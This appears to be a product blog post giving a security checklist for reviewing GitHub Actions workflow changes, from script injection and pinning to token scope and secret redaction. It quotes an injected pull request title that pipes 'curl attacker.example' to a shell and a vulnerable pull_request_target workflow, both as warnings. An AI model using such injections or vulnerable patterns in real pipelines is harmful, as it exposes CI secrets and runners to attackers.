AI Code Review for GitHub Actions Workflows: The Checklist Before a Pipeline Change Ships

The pull request that changes .github/workflows/ci.yml gets the least attention of any PR in the repository. It is YAML, it is not product code, the tests are green, and the reviewer who understands the workflow is usually the person who wrote the change. That is a problem, because workflow files are the one place in a repository where a few characters can hand a stranger your deploy credentials. This post is a checklist for what an AI code reviewer should verify on every workflow change, why the usual diff-only review misses most of it, and how to encode the checklist as rules so it runs without anyone remembering.

Everything in the checklist is drawn from GitHub's own security hardening guidance for Actions; where PURA does something specific we say so, and most of it applies to any reviewer, human or model.

Why workflow files are different

A workflow runs with a token, often with secrets, sometimes with cloud credentials, on a runner that can reach your package registry, your container registry and your production environment. Ordinary code runs inside the product; workflow code runs on the thing that builds and ships the product. The blast radius of a mistake is correspondingly larger, and the mistakes are not the kind a test suite catches: a workflow that leaks a token still passes CI, because CI is the workflow.

The second difference is that the inputs are hostile by default. Pull request titles, branch names, issue bodies and commit messages are written by whoever opens the PR, including anonymous contributors to a public repository, and workflows read those values constantly. Most application code never sees untrusted input that reaches a shell; workflow code does on every run.

The checklist

1. Is untrusted input interpolated into a script?

The classic bug is a run: step that embeds a context value directly:

- run: echo "PR title: ${{ github.event.pull_request.title }}"

The expression is substituted into the script before the shell runs it, so a title containing "; curl attacker.example | sh; echo " executes on the runner. GitHub's guidance is that the preferred approach for inline scripts is to set the value of the expression to an intermediate environment variable, because the value is then stored in memory and used as a variable, and doesn't interact with the script generation process:

- env:
    TITLE: ${{ github.event.pull_request.title }}
  run: echo "PR title: $TITLE"

The reviewer's rule is mechanical: any ${{ github.event.* }}, ${{ github.head_ref }} or ${{ inputs.* }} expression that appears inside a run: block, rather than in an env: block or an action's with: input, is a finding. This is one of the few checks that a pattern match can do almost perfectly, and it is still missed in review because the line looks like logging.

2. Does a privileged trigger check out untrusted code?

pull_request_target and workflow_run exist so that a workflow can act on a fork's pull request with write access and secrets, for example to label it. The guidance is blunt: avoid using these triggers with untrusted pull requests or code content, and workflows that use them must not explicitly check out untrusted code, including from pull request forks. The dangerous shape is easy to recognise:

on: pull_request_target
jobs:
  build:
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}
      - run: npm install && npm test

That checks out the attacker's branch and runs its package.json scripts with the base repository's secrets. A reviewer should flag any pull_request_target workflow that checks out a PR head ref and then runs anything from the checkout, and should ask whether pull_request, which runs without secrets for forks, would do.

3. Are third-party actions pinned to a commit SHA?

uses: some-org/some-action@v2 resolves to whatever the v2 tag points at today. Tags move; maintainers' accounts get compromised; the action you reviewed in March is not the action that runs in October. GitHub states that pinning an action to a full-length commit SHA is currently the only way to use an action as an immutable release, and offers organisation-level policies to require it. The review rule: every uses: that references a repository outside your organisation must be a 40-character SHA, ideally with the version in a trailing comment so humans can still read it. Dependabot and Renovate both understand this format and will keep the comment and the SHA in step; our post on reviewing dependency updates covers what to check when those bumps arrive.

4. Is the token scoped down?

The GITHUB_TOKEN a workflow receives can be read-only or read-write across a dozen permission scopes. GitHub's advice is to set the default to read access only for repository contents and increase it per job as required. In the file that means a top-level or per-job permissions: block, and the reviewer's questions are: is there one, is it the minimum the job needs, and did this PR widen it? A change from contents: read to contents: write deserves the same scrutiny as a change to an IAM policy, which is to say it should come with a sentence explaining why.

5. Are long-lived cloud secrets still in use?

For deployments to AWS, Azure or Google Cloud, a workflow that uses stored access keys is carrying a credential that never expires and can be exfiltrated by any of the bugs above. GitHub's guidance is to use OpenID Connect so the workflow authenticates directly to the provider with a short-lived token and you stop storing these credentials as long-lived secrets. A reviewer cannot force a migration in one PR, but it can flag every AWS_SECRET_ACCESS_KEY-style secret that appears in a new or changed workflow and keep the debt visible.

6. Are secrets handled so that they stay redacted?

Actions masks registered secrets in logs, but only when the exact value appears. Two patterns defeat it. Encoding a secret inside a blob of JSON, XML or YAML, which GitHub notes significantly reduces the probability the secrets will be properly redacted. And deriving a new sensitive value from a secret without registering the derived value with ::add-mask::. A reviewer should also flag any step that prints the environment, dumps toJSON(secrets), or uploads a directory that could contain a credentials file as an artifact.

7. Did this PR add a new way to run code?

The quietest risky change is one that adds a workflow_dispatch input, a repository_dispatch event, a reusable workflow call, or a script step pulling a remote installer with curl | sh. None of them is wrong on its own; each is a new entry point that needs the same questions asked of it. The reviewer should list every new trigger and every new uses: or network fetch in the summary, so the human approving the PR sees them as a set rather than as scattered lines in a 300-line YAML diff.

Why the default review misses this

A diff-only reviewer sees the changed lines of the workflow and nothing else. It cannot tell whether the trigger at the top of the file, unchanged in this PR, is pull_request_target; it cannot see that the permissions: block lives in a different file or is absent entirely; and it has no way to know that the action being bumped from @v3 to @v4 is a third-party one. We have written before about why diff-only reviewers miss real bugs; for workflow files the whole file, and often the whole .github directory, is the minimum context. Reviewing a job's steps without its on: block is reviewing a function without its signature.

The second thing the default review lacks is intent. Workflow changes are usually made by one person who understands the pipeline, and a general-purpose reviewer tends to defer to them. The checklist above is valuable precisely because it does not defer: a SHA is a SHA or it is not.

Turning the checklist into rules

The practical move is to make these seven questions run automatically on every PR that touches .github/workflows/, with a stricter standard than the rest of the repository gets. In PURA that is a path-scoped instruction in the repository's review rules: anything under .github/workflows/ or .github/actions/ gets the full checklist, a request to quote the trigger and permissions block in the summary, and a note that findings in this path should be treated as blocking rather than advisory. The general mechanism is described in custom review rules, and the blocking-versus-advisory decision in the post on blocking reviews where it belongs. Because PURA runs on your own infrastructure with your own model keys, the workflow files, and whatever they reveal about your deploy topology, never leave your network to be reviewed, which matters more for this directory than for most.

A note on cost: workflow PRs are rare and small, so routing them to your strongest model through a per-repository budget costs almost nothing and removes the temptation to skimp on the one review where skimping is expensive.

What the reviewer still cannot see

An AI reviewer sees the workflow file. It does not see the organisation's Actions settings, so it cannot know whether fork PRs require approval before running, whether a SHA-pinning policy is already enforced, or which environments require reviewers. It does not see the runner, so it cannot tell a hardened ephemeral runner from a long-lived self-hosted box with cached credentials, and the guidance for self-hosted runners is considerably stricter. And it cannot verify that the action at a given SHA is benign; it can only confirm that the reference is immutable. Treat its output as a structured second reading of the file, and keep the organisation-level controls, which are where most of the real protection lives, in human hands.